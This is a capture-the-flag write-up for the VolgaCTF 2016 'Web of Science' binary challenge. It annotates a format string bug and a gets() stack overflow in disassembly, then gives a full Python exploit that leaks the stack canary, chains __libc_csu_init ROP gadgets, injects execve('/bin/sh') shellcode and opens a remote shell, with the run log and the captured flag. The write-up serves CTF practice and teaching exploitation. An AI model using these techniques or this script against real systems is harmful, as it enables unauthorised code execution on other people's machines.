I'm weak in Engrish:(
- Keywords
- Buffer overflow (stack based)
- Return Oriented Programming (abbr: ROP)
- Shellcoding
__libc_csu_init()
First, look at the objdumpped code shown below. I emphasized the vulnerabilities with 'XXX'.
(snip)
; auth
4007cd: 55 push %rbp
4007ce: 48 89 e5 mov %rsp,%rbp
4007d1: 53 push %rbx
4007d2: 48 81 ec 38 01 00 00 sub $0x138,%rsp
; put a canary
4007d9: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
4007e0: 00 00
4007e2: 48 89 45 e8 mov %rax,-0x18(%rbp)
4007e6: 31 c0 xor %eax,%eax
4007e8: c7 85 cc fe ff ff 0a movl $0xa,-0x134(%rbp)
4007ef: 00 00 00
4007f2: c7 85 c4 fe ff ff 00 movl $0x0,-0x13c(%rbp)
4007f9: 00 00 00
4007fc: c7 85 d0 fe ff ff 00 movl $0x0,-0x130(%rbp)
400803: 00 00 00
400806: c7 85 d4 fe ff ff 00 movl $0x0,-0x12c(%rbp)
40080d: 00 00 00
400810: c7 85 d8 fe ff ff 00 movl $0x0,-0x128(%rbp)
400817: 00 00 00
40081a: c7 85 dc fe ff ff 00 movl $0x0,-0x124(%rbp)
400821: 00 00 00
400824: c7 85 c8 fe ff ff 00 movl $0x0,-0x138(%rbp)
40082b: 00 00 00
40082e: bf c8 10 40 00 mov $0x4010c8,%edi
400833: e8 f8 fd ff ff callq 400630 <puts@plt>
400838: 48 8d 85 e0 fe ff ff lea -0x120(%rbp),%rax
40083f: 48 89 c7 mov %rax,%rdi
400842: e8 59 fe ff ff callq 4006a0 <gets@plt>
; strlen(name)
400847: 48 8d 85 e0 fe ff ff lea -0x120(%rbp),%rax
40084e: 48 c7 c1 ff ff ff ff mov $0xffffffffffffffff,%rcx
400855: 48 89 c2 mov %rax,%rdx
400858: b8 00 00 00 00 mov $0x0,%eax
40085d: 48 89 d7 mov %rdx,%rdi
400860: f2 ae repnz scas %es:(%rdi),%al
400862: 48 89 c8 mov %rcx,%rax
400865: 48 f7 d0 not %rax
400868: 48 8d 50 ff lea -0x1(%rax),%rdx
40086c: 48 8d 85 e0 fe ff ff lea -0x120(%rbp),%rax
400873: 48 01 d0 add %rdx,%rax
400876: 48 bb 2c 20 79 6f 75 movabs $0x722072756f79202c,%rbx
40087d: 72 20 72
400880: 48 89 18 mov %rbx,(%rax)
400883: 48 be 65 73 70 6f 6e movabs $0x3a65736e6f707365,%rsi
40088a: 73 65 3a
40088d: 48 89 70 08 mov %rsi,0x8(%rax)
400891: 66 c7 40 10 20 00 movw $0x20,0x10(%rax)
400897: bf e0 10 40 00 mov $0x4010e0,%edi
40089c: e8 8f fd ff ff callq 400630 <puts@plt>
4008a1: c7 85 c4 fe ff ff 00 movl $0x0,-0x13c(%rbp)
4008a8: 00 00 00
4008ab: e9 b1 00 00 00 jmpq 400961 <rand@plt+0x291>
; for start (10 times)
4008b0: e8 1b fe ff ff callq 4006d0 <rand@plt>
4008b5: 99 cltd
4008b6: c1 ea 10 shr $0x10,%edx
4008b9: 01 d0 add %edx,%eax
4008bb: 0f b7 c0 movzwl %ax,%eax
4008be: 29 d0 sub %edx,%eax
4008c0: 89 85 d0 fe ff ff mov %eax,-0x130(%rbp)
4008c6: e8 05 fe ff ff callq 4006d0 <rand@plt>
4008cb: 99 cltd
4008cc: c1 ea 10 shr $0x10,%edx
4008cf: 01 d0 add %edx,%eax
4008d1: 0f b7 c0 movzwl %ax,%eax
4008d4: 29 d0 sub %edx,%eax
4008d6: 89 85 d4 fe ff ff mov %eax,-0x12c(%rbp)
4008dc: 8b 85 d4 fe ff ff mov -0x12c(%rbp),%eax
4008e2: 8b 95 d0 fe ff ff mov -0x130(%rbp),%edx
4008e8: 01 d0 add %edx,%eax
4008ea: 89 85 d8 fe ff ff mov %eax,-0x128(%rbp)
4008f0: 8b 95 d4 fe ff ff mov -0x12c(%rbp),%edx
4008f6: 8b 85 d0 fe ff ff mov -0x130(%rbp),%eax
4008fc: 89 c6 mov %eax,%esi
4008fe: bf 0e 11 40 00 mov $0x40110e,%edi
400903: b8 00 00 00 00 mov $0x0,%eax
400908: e8 43 fd ff ff callq 400650 <printf@plt>
40090d: 48 8d 85 e0 fe ff ff lea -0x120(%rbp),%rax
400914: 48 89 c7 mov %rax,%rdi
400917: b8 00 00 00 00 mov $0x0,%eax
40091c: e8 2f fd ff ff callq 400650 <printf@plt> ; XXX: fsb
400921: 48 8d 85 60 ff ff ff lea -0xa0(%rbp),%rax
400928: 48 89 c7 mov %rax,%rdi
40092b: e8 70 fd ff ff callq 4006a0 <gets@plt> ; XXX: sbof
400930: 48 8d 85 60 ff ff ff lea -0xa0(%rbp),%rax
400937: 48 89 c7 mov %rax,%rdi
40093a: e8 81 fd ff ff callq 4006c0 <atoi@plt>
40093f: 89 85 dc fe ff ff mov %eax,-0x124(%rbp)
400945: 8b 85 d8 fe ff ff mov -0x128(%rbp),%eax
40094b: 3b 85 dc fe ff ff cmp -0x124(%rbp),%eax
400951: 75 07 jne 40095a <rand@plt+0x28a>
400953: 83 85 c8 fe ff ff 01 addl $0x1,-0x138(%rbp)
40095a: 83 85 c4 fe ff ff 01 addl $0x1,-0x13c(%rbp)
400961: 8b 85 c4 fe ff ff mov -0x13c(%rbp),%eax
400967: 3b 85 cc fe ff ff cmp -0x134(%rbp),%eax
40096d: 0f 8c 3d ff ff ff jl 4008b0 <rand@plt+0x1e0>
; for end
400973: 8b 85 c8 fe ff ff mov -0x138(%rbp),%eax
400979: 3b 85 cc fe ff ff cmp -0x134(%rbp),%eax
40097f: 75 07 jne 400988 <rand@plt+0x2b8>
400981: b8 00 00 00 00 mov $0x0,%eax
400986: eb 05 jmp 40098d <rand@plt+0x2bd>
400988: b8 01 00 00 00 mov $0x1,%eax
; checks canary
40098d: 48 8b 5d e8 mov -0x18(%rbp),%rbx
400991: 64 48 33 1c 25 28 00 xor %fs:0x28,%rbx
400998: 00 00
40099a: 74 05 je 4009a1 <rand@plt+0x2d1>
40099c: e8 9f fc ff ff callq 400640 <__stack_chk_fail@plt>
4009a1: 48 81 c4 38 01 00 00 add $0x138,%rsp
4009a8: 5b pop %rbx
4009a9: 5d pop %rbp
4009aa: c3 retq
(snip)
; a pretty good gadget
401080: 4c 89 ea mov %r13,%rdx
401083: 4c 89 f6 mov %r14,%rsi
401086: 44 89 ff mov %r15d,%edi
401089: 41 ff 14 dc callq *(%r12,%rbx,8)
40108d: 48 83 c3 01 add $0x1,%rbx
401091: 48 39 eb cmp %rbp,%rbx
401094: 75 ea jne 401080 <rand@plt+0x9b0>
401096: 48 83 c4 08 add $0x8,%rsp
40109a: 5b pop %rbx
40109b: 5d pop %rbp
40109c: 41 5c pop %r12
40109e: 41 5d pop %r13
4010a0: 41 5e pop %r14
4010a2: 41 5f pop %r15
4010a4: c3 retq
(snip)
OK, think how to exploit.
-
First, the binary isn't set NX.
so we might be able to put shellcode on somewhere and execute it ;) -
The part of the authentication has 2 vulnerabilities.
the other is format string bug which is caused byprintf()
. we can leak the canary!
the one is buffer overflow which is caused bygets()
. we can lead to an overflow! -
We can call any function which is passed 3 arguments.
it's provided by__libc_csu_init()
.
My method is shown in below.
- set the name as
"%p"
and leak the canary. - cause the overflow on the human check and lead to ROP(that chain contains
__libc_csu_init
). - call
gets()
and put the shellcode on somewhere in .bss section. - return to the somewhere and get shell!
#!/usr/bin/env python2
import hashlib
import re
import socket
import string
import struct
import subprocess
import sys
import time
import telnetlib
def read_until(f, delim='\n'):
data = ""
while not data.endswith(delim):
data += f.read(1)
return data
def connect(rhp=("localhost", 52608)):
message('+', "Connect to %s:%d"%(rhp))
s = socket.create_connection(rhp)
f = s.makefile('rw', bufsize=0)
return s, f
def interact(s):
t = telnetlib.Telnet()
t.sock = s
print "[+] 4ll y0U n33D 15 5h3ll!!"
t.interact()
def p(x, t="<Q"):
return struct.pack(t, x)
def pn(l):
return ''.join(map(p, l))
def u(x, t="<Q"):
return struct.unpack(t, x)[0]
def unsigned(x):
return u(p(x, t="<q"), t="<Q")
def gen_shellcode(source, bits=32):
source = "".join([
"BITS %d\n"%(bits),
source,
])
filename = hashlib.md5(source).hexdigest()
with open("/tmp/%s.s"%(filename), "wb") as f:
f.write(source)
subprocess.call("nasm /tmp/%s.s -o /tmp/%s"%(filename, filename), shell=True)
with open("/tmp/%s"%filename, "rb") as f:
shellcode = f.read()
return filename, shellcode
def message(message_type, message_body, value=None):
text = ""
if value:
text = "[{}] {}: 0x{:08x}".format(message_type, message_body, value)
else:
text = "[{}] {}".format(message_type, message_body)
print text
if len(subprocess.sys.argv) != 3:
print >> subprocess.sys.stderr, "Usage: %s HOST PORT"%(subprocess.sys.argv[0])
subprocess.sys.exit(1)
got_gets = 0x602050
got___libc_start_main = 0x602030
gadget2 = 0x401080 # pass 3 arguments to the funcion
'''
401080: 4c 89 ea mov %r13,%rdx
401083: 4c 89 f6 mov %r14,%rsi
401086: 44 89 ff mov %r15d,%edi
401089: 41 ff 14 dc callq *(%r12,%rbx,8)
40108d: 48 83 c3 01 add $0x1,%rbx
401091: 48 39 eb cmp %rbp,%rbx
401094: 75 ea jne 401080 <rand@plt+0x9b0>
401096: 48 83 c4 08 add $0x8,%rsp
'''
gadget1 = 0x40109a # set the function and 3 arguments.
'''
40109a: 5b pop %rbx
40109b: 5d pop %rbp
40109c: 41 5c pop %r12
40109e: 41 5d pop %r13
4010a0: 41 5e pop %r14
4010a2: 41 5f pop %r15
4010a4: c3 retq
'''
stage = 0x0000000000602080+0x10
host, port = sys.argv[1:]
rhp = (host, int(port))
s, f = connect(rhp)
read_until(f)
stack_canary_position = 6+296/8
payload = '%{}$p'.format(stack_canary_position)
f.write(payload+'\n')
# skip the process of auth 9 times
for i in xrange(9):
read_until(f, 'response: ')
f.write('\n')
# retrieve the canary
read_until(f)
data = read_until(f, 'response: ')
result = re.match(r'0x([0-9a-f]+)', data)
if result:
message('D', data)
canary = int(result.group(0), 0x10)
message('+', 'canary', canary)
# construct ROP-chain.
payload = ''.join((
'\0'*(0xa0-0x18), # junks
p(canary), # rbp-0x18
'P'*(0x8*3), # junks contains saved rbp
# vvv old retaddr vvv
p(gadget1),
pn([0x0, 0x1, got_gets, 0x0, 0x0, stage]), # pop these values to [rbx, rbp, r12, r13, r14, r15]
p(gadget2), # call gets() and input to address of stage
# (...umm, just a buffer not stage ^^^^^)
pn([0x0]+[0x0]*0x6), # junks for pop-ing
p(stage), # ret2shellcode
))
f.write(payload+'\n')
filename, payload = gen_shellcode('''
jmp tail
head:
pop rdi
xor esi, esi
xor edx, edx
xor eax, eax
mov al, 0x3b
syscall
tail:
call head
binsh: db "/bin/sh", 0
''', bits=64)
message('+', 'payload(%s: %dbytes):\n%s'%(filename, len(payload), repr(payload)))
f.write(payload+'\n')
interact(s)
'''
(17:57) hhc0null@XPS13% ./exploit.py webofscience.2016.volgactf.ru 45678 [~/ctf/current/pwn-Web_of_Science-250pts/dir] [1071]
[+] Connect to webofscience.2016.volgactf.ru:45678
[D] 0xd3f85bdfe4d5a900, your response:
[+] canary: 0xd3f85bdfe4d5a900
[+] payload(5551e1fe35595d7948deadd62ddbb410: 26bytes):
'\xeb\x0b_1\xf61\xd21\xc0\xb0;\x0f\x05\xe8\xf0\xff\xff\xff/bin/sh\x00'
[+] 4ll y0U n33D 15 5h3ll!!
ls
flag_wos.txt
install
start_wos
web_of_science
cat flag_wos.txt
VolgaCTF{executable_st@ck_doesnt_cause_@ny_problems_d0es_it}*** Connection closed by remote host ***
'''
I think my solution isn't an expected solution, maybe. we can solve the Web of science 2 by the same way(these problems were set non-ASLR so we were able to gain shell by just guessing its libc version.) but I've not finished Web of science 3 yet because I'd been prioritized cooking than hacking:P
I'll up its writeup asap if I weren't busy~~~
Have a good pwn day!
So sorry for late replying.
I've actually forgot its details but maybe we can leak anything from the stack by using FSB therefore we can know libc base. Several addresses of an object in libc may be in the stack and we can calculate the base address from these.